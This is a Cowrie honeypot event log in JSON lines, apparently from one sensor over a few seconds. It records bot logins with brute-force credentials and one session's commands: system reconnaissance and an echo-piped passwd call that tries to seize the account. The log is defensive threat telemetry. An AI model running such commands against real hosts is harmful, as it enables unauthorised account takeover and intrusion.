{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:57.991004Z","src_ip":"181.234.2.36","session":"de40b81e77e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:58.084407Z","src_ip":"181.234.2.36","session":"de40b81e77e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:58.478194Z","src_ip":"181.234.2.36","session":"de40b81e77e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59062,"dst_ip":"10.17.0.5","dst_port":23,"session":"89bf55d329d3","protocol":"telnet","message":"New connection: 62.210.97.77:59062 (10.17.0.5:23) [session: 89bf55d329d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:58.947499Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:59.571834Z","src_ip":"181.234.2.36","session":"de40b81e77e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.645665645599365,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:59.596575Z","src_ip":"62.210.97.77","session":"7dfdf7a4ab0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":47740,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e149f0acf32","protocol":"ssh","message":"New connection: 181.234.2.36:47740 (159.203.135.109:22) [session: 4e149f0acf32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:59.664701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:59.670054Z","src_ip":"181.234.2.36","session":"4e149f0acf32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:12:59.762162Z","src_ip":"181.234.2.36","session":"4e149f0acf32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:00.157382Z","src_ip":"181.234.2.36","session":"4e149f0acf32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:01.253897Z","src_ip":"181.234.2.36","session":"4e149f0acf32","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:01.410846Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:01.414947Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:01.511626Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:01.742382Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"Admin123!@#\\nNd3K1ZWOf9cZ\\nNd3K1ZWOf9cZ\"|passwd|bash","message":"CMD: echo -e \"Admin123!@#\\nNd3K1ZWOf9cZ\\nNd3K1ZWOf9cZ\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:01.746806Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:01.750937Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:01.754969Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/68d4590353711e0af87fe0101dec6a580d7a7efbdfacd5fcc45b70148bb0399b","size":32,"shasum":"68d4590353711e0af87fe0101dec6a580d7a7efbdfacd5fcc45b70148bb0399b","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/68d4590353711e0af87fe0101dec6a580d7a7efbdfacd5fcc45b70148bb0399b after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:01.851990Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:02.126292Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"Admin123!@#\\nNd3K1ZWOf9cZ\\nNd3K1ZWOf9cZ\\n\"|passwd","message":"CMD: echo \"Admin123!@#\\nNd3K1ZWOf9cZ\\nNd3K1ZWOf9cZ\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:02.130216Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1735f10c16196c845b75e07bd6945dfd53d307ddcc50e5ebd1b904f160defeda","size":25,"shasum":"1735f10c16196c845b75e07bd6945dfd53d307ddcc50e5ebd1b904f160defeda","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/1735f10c16196c845b75e07bd6945dfd53d307ddcc50e5ebd1b904f160defeda after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:02.229508Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:02.513244Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:02.517011Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:02.616785Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:02.865363Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:02.869554Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:02.970644Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:03.205124Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:03.209236Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:03.213119Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:03.316069Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:03.558728Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:03.562394Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:03.660033Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:03.923994Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:03.928058Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:04.024655Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:04.263766Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:04.267781Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59068,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c11fb822509","protocol":"telnet","message":"New connection: 62.210.97.77:59068 (10.17.0.5:23) [session: 6c11fb822509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:04.278812Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:04.367577Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:04.600334Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:04.605252Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:04.703141Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":47614,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7ccf5d7dfc2","protocol":"telnet","message":"New connection: 65.60.27.33:47614 (10.17.0.5:23) [session: c7ccf5d7dfc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:04.730083Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:04.962777Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:04.966632Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:05.065176Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:05.304056Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:05.307665Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.185.24.228","src_port":44298,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b1699a9b693","protocol":"ssh","message":"New connection: 172.185.24.228:44298 (10.17.0.5:22) [session: 5b1699a9b693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:05.314849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:05.320519Z","src_ip":"172.185.24.228","session":"5b1699a9b693","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:05.401786Z","src_ip":"172.185.24.228","session":"5b1699a9b693","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:05.416332Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:05.660286Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:05.663948Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:13:05.764047Z","src_ip":"181.234.2.36","session":"b6d4f7073278","protocol":"ssh"}
